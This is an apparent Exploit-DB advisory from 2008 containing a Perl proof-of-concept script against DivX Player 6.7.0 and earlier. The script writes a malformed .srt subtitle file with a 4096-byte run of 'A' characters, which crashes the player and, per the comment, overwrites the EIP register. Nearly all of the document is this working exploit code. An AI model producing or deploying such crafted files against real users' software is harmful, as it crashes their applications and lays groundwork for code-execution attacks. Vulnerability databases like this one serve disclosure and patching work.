DivX Player 6.7.0 - '.srt' File Buffer Overflow (PoC)

EDB-ID:

5453

Author:

securfrog

Type:

dos

Platform:

Windows

Published:

2008-04-15

# DIVX Player <= 6.7.0 Buffer Overflow PoC (  .SRT )
# Bug: When parsing a subtitle file with an overly long subtitle DIVX player will deadly crash  with eip overwritted:
# Replace MOVIE_FILENAME by your movie filename ( .avi )
#
#!/usr/local/bin/perl                                        
my $file="MOVIE_FILENAME.srt";                           
                                                             
my $payload = "A" x 4096;                                    
                                                             
open( $file, ">>$file") or die "Cannot open $file: $!";      
   
print $file "1 \n";
print $file "00:00:01,001 --> 00:00:02,001\n";
print $file $payload;                              
                                                             
close($file);                                                
                                                             
print "$file has been created \n";    

# milw0rm.com [2008-04-15]